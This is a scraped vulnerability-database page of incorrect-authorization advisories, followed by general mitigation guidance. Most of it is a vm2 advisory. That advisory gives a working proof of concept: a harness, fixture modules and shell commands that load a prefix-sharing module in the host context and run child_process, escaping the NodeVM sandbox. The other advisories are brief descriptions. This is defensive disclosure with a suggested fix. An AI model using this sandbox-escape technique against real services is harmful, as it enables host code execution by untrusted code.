    "CVE-2026-100721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:24:29Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path\u0027s string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^\u003cpath\u003e` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: [\u0027foo\u0027], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: \u0027host\u0027`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder\u0027s resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex =\u003e regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/\u2026/node_modules/foo` also matches `/\u2026/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === \u0027string\u0027) {\n\tthis.externals.push(new RegExp(\u0027^\u0027 + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp(\u0027^\u0027 + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require(\u0027foo\u0027);\nmodule.exports = {\n\tfoo,\n\tsibling: require(\u0027/tmp/vm2-prefix-case/node_modules/foo2/index.js\u0027)\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: [\u0027foo\u0027], transitive: false},\n\t\troot: \u0027/tmp/vm2-prefix-case\u0027,\n\t\tcontext: \u0027host\u0027,\n\t\tresolve(name) {\n\t\t\treturn name === \u0027foo\u0027\n\t\t\t\t? \u0027/tmp/vm2-prefix-case/node_modules/foo\u0027\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(process.cwd() + \u0027/lib/main.js\u0027);\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, \u0027../..\u0027);\nconst entry = path.join(path.dirname(root), \u0027entry.js\u0027);\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: [\u0027foo\u0027], transitive: false},\n\t\t\troot,\n\t\t\tcontext: \u0027host\u0027,\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === \u0027foo\u0027) {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: \u0027invalid\u0027};\n\ntry {\n\tif (mode === \u0027candidate\u0027) {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require(\u0027foo\u0027);\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output \u0026\u0026 output.foo === \u0027FOO_OK\u0027 \u0026\u0026 output.sibling === \u0027PREFIX_PWN\u0027) {\n\t\t\trecord.result = \u0027violation\u0027;\n\t\t\trecord.signal = \u0027prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\u0027;\n\t\t} else {\n\t\t\trecord.result = \u0027pass\u0027;\n\t\t}\n\t} else if (mode === \u0027control\u0027) {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = \u0027violation\u0027;\n\t\t\trecord.signal = \u0027prefix-sharing sibling loaded before custom resolution\u0027;\n\t\t} catch (error) {\n\t\t\trecord.result = \u0027pass\u0027;\n\t\t\trecord.denial = String(error \u0026\u0026 (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = \u0027unknown mode\u0027;\n\t}\n} catch (error) {\n\trecord.result = \u0027invalid\u0027;\n\trecord.error = String(error \u0026\u0026 (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module\u0027s path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat \u003e /tmp/vm2-prefix-case/node_modules/foo/index.js \u003c\u003c\u0027EOF\u0027\n\u0027use strict\u0027;\nmodule.exports = \u0027FOO_OK\u0027;\nEOF\ncat \u003e /tmp/vm2-prefix-case/node_modules/foo2/index.js \u003c\u003c\u0027EOF\u0027\n\u0027use strict\u0027;\nmodule.exports = require(\u0027child_process\u0027).execFileSync(\n\tprocess.execPath,\n\t[\u0027-e\u0027, \"process.stdout.write(\u0027PREFIX_PWN\u0027)\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value =\u003e new RegExp(\n\t\u0027^\u0027 + escapeRegExp(value) + \u0027(?:[\\\\/].*)?$\u0027\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: [\u0027foo\u0027], transitive: false}`, a custom resolver returning `foo`, and `context: \u0027host\u0027`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled \u201cExternal module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.\u201d That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), \u201cvm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,\u201d is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.",
  "id": "GHSA-5h3f-q97h-ccvc",
  "modified": "2026-10-05T23:24:29Z",
  "published": "2026-10-05T23:24:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.12.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: NodeVM custom resolution bypasses external path boundaries"
}

GHSA-5H45-5F8R-3VX5

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42
VLAI
Details

In Visualware MyConnection Server before 11.0b build 5382, each published report is not associated with its own access code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-27509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-19T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Visualware MyConnection Server before 11.0b build 5382, each published report is not associated with its own access code.",
  "id": "GHSA-5h45-5f8r-3vx5",
  "modified": "2022-05-24T17:42:43Z",
  "published": "2022-05-24T17:42:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27509"
    },
    {
      "type": "WEB",
      "url": "https://myconnectionserver.visualware.com/support/newrelease.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5H4X-9649-5V6G

Vulnerability from github – Published: 2026-09-14 15:32 – Updated: 2026-09-14 21:31
VLAI
Details

Incorrect Authorization vulnerability in Apache Syncope.

Delegated administration security checks performed by Reconciliation service's pull and push, being incomplete, could accept calls by administrator not provided with adequate entitlements.

This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2.

Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-73370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T14:17:09Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect Authorization vulnerability in Apache Syncope.\n\n\n\nDelegated administration security checks performed by Reconciliation service\u0027s pull and push, being incomplete, could accept calls by administrator not provided with adequate entitlements.\n\n\n\n\n\nThis issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2.\n\nUsers are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.",
  "id": "GHSA-5h4x-9649-5v6g",
  "modified": "2026-09-14T21:31:37Z",
  "published": "2026-09-14T15:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73370"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/prv0k3mvorzhngdw405sgb87ckw105gz"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/14/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5H5V-CXVM-WGR3

Vulnerability from github – Published: 2026-08-11 15:32 – Updated: 2026-08-11 15:32
VLAI
Details

Velociraptor's VQL has a query() plugin which allows running a VQL query in a different org or user context. To be able to run as a different user, the calling user needs to have the IMPERSONATE permission (usually only given to administrators). Velociraptor versions prior to 0.77.2 evaluate this permission against the caller's org instead of against the target org.

This allows an administrator in one org to impersonate another user in another org, in which they may not have the IMPERSONATE permission.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-18635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T15:17:28Z",
    "severity": "HIGH"
  },
  "details": "Velociraptor\u0027s VQL has a query() plugin which allows running a VQL query in a different org or user context. To be able to run as a different user, the calling user needs to have the IMPERSONATE permission (usually only given to administrators). Velociraptor versions prior to 0.77.2 evaluate this permission against the caller\u0027s org instead of against the target org.\n\nThis allows an administrator in one org to impersonate another user in another org, in which they may not have the IMPERSONATE permission.",
  "id": "GHSA-5h5v-cxvm-wgr3",
  "modified": "2026-08-11T15:32:45Z",
  "published": "2026-08-11T15:32:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18635"
    },
    {
      "type": "WEB",
      "url": "http://docs.velociraptor.app/announcements/advisories/cve-2026-18635"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5H9P-4MFG-HMH4

Vulnerability from github – Published: 2024-10-11 21:31 – Updated: 2024-10-15 21:30
VLAI
Details

An issue in SWITCHBOT INC SwitchBot (com.theswitchbot.switchbot) 5.0.4 allows a remote attacker to obtain sensitive information via the firmware update process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T20:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in SWITCHBOT INC SwitchBot (com.theswitchbot.switchbot) 5.0.4 allows a remote attacker to obtain sensitive information via the firmware update process.",
  "id": "GHSA-5h9p-4mfg-hmh4",
  "modified": "2024-10-15T21:30:37Z",
  "published": "2024-10-11T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HankJames/Vul-Reports/blob/main/FirmwareLeakage/com.theswitchbot.switchbot/com.theswitchbot.switchbot.md"
    },
    {
      "type": "WEB",
      "url": "http://switchbot.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5HCC-FCFJ-MJ9H

Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2023-09-17 09:30
VLAI
Details

Multiple flaws were found in the way samba AD DC implemented access and conformance checking of stored data. An attacker could use this flaw to cause total domain compromise.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-25722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-18T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple flaws were found in the way samba AD DC implemented access and conformance checking of stored data. An attacker could use this flaw to cause total domain compromise.",
  "id": "GHSA-5hcc-fcfj-mj9h",
  "modified": "2023-09-17T09:30:17Z",
  "published": "2022-02-19T00:01:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25722"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2019764"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202309-06"
    },
    {
      "type": "WEB",
      "url": "https://www.samba.org/samba/security/CVE-2020-25722.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.